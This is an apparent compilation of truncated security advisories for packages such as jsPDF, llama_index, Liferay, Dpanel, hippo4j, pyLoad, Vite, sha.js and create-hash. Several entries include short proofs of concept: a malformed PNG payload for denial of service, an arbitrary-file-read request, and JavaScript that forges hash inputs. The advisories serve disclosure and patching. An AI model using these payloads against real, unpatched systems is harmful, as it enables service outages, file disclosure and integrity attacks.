#js

### Impact User control of the first argument of the addImage method results in CPU utilization and denial of service. If given the possibility to pass unsanitized image data or URLs to the addImage method, a user can provide a harmful PNG file that results in high CPU utilization and denial of service. Other affected methods are: `html`. Example payload: ```js import { jsPDF } from "jpsdf" const payload = new Uint8Array([117, 171, 90, 253, 166, 154, 105, 166, 154]) const doc = new jsPDF(); const startTime = performance.now(); try { doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW"); } finally { const endTime = performance.now(); console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`); } ``` ### Patches The vulnerability was fixed in jsPDF 3.0.2. Upgrade to jspdf@>=3.0.2. In jspdf@>=3.0.2, invalid PNG files throw an Error instead of causing very long running loops. ### Workarounds Sanitize image data or URLs before passing it to the a...

A denial of service vulnerability exists in the JSONReader component of the run-llama/llama_index repository, specifically in version v0.12.37. The vulnerability is caused by uncontrolled recursion when parsing deeply nested JSON files, which can lead to Python hitting its maximum recursion depth limit. This results in high resource consumption and potential crashes of the Python process. The issue is resolved in version 0.12.38.

At Microsoft, securing the ecosystem means more than just fixing bugs—it means proactively hunting for variant classes, identifying systemic weaknesses, and working across teams to protect customers before attackers ever get the chance. This blog highlights one such effort: a deep dive into the risks of misconfigured postMessage handlers across Microsoft services and how MSRC worked with engineering teams to mitigate them.

Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.7, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.15 and 7.4 GA through update 92 allows authenticated users without any permissions to access sensitive information of admin users using JSONWS APIs.

### Summary Dpanel has an arbitrary file read vulnerability in the /api/app/compose/get-from-uri interface.Logged in to Dpanel ,this interface can be used to read arbitrary files. ### Details When a user logs into the administrative backend, this interface can read any files on the host/sever (given the necessary permissions), which may lead to system information leakage. The vulnerability lies in the GetFromUri function within the app/application/http/controller/compose.go file. The uri parameter submitted by the user in JSON format can be directly read and returned by os.ReadFile without proper security handling.   ### PoC ```text POST /api/app/compose/get-from-uri HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefo...

hippo4j 1.0.0 to 1.5.0, uses a hard-coded secret key in its JWT (JSON Web Token) creation. This allows attackers with access to the source code or compiled binary to forge valid access tokens and impersonate any user, including privileged ones such as "admin". The vulnerability poses a critical security risk in systems where authentication and authorization rely on the integrity of JWTs.

Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation. ### Summary The `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. ### Details - Endpoint: flash/addcrypted2 - affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123 https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42 affected code ```python @bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2") @local_check def addcrypted2(): package = flask.request.form.get( "package", flask.request.form.get("source", flask.request.form.get("referer")) ...

### Summary Files not included in `src` was possible to access with a crafted request. ### Impact Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. Arbitrary files can be disclosed by exploiting this vulnerability. ### Details Consider the following configuration in used by `vite.config.ts`: ```ts import { defineConfig } from 'vite' import { viteStaticCopy } from 'vite-plugin-static-copy' export default defineConfig({ plugins: [ viteStaticCopy({ targets: [ { src: "./public/images", dest: "./", }, ], }), ], }); ``` The files under the `./public/images` is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem. ### PoC I've attached a demo app to showcase the bug. Run it with `npm run dev` and issue the foll...

### Summary This is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation. Missing input type checks lead to it calculating invalid values, hanging, rewinding the hash state (including turning a tagged hash into an untagged hash) on malicious JSON-stringifyable input ### Details See PoC ### PoC ```js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]]) const sha = require('sha.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever console.log(sha256...

### Summary This affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package Also affects `create-hmac` and other packages Node.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView. Missing input type checks in npm `create-hash` polyfill of Node.js `createHash` lead to it calculating invalid values, hanging, rewinding the hash state (including turning a tagged hash into an untagged hash) on malicious JSON-stringifyable input ### Details See PoC ### PoC ```js const createHash = require('create-hash/browser.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = createHash('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e....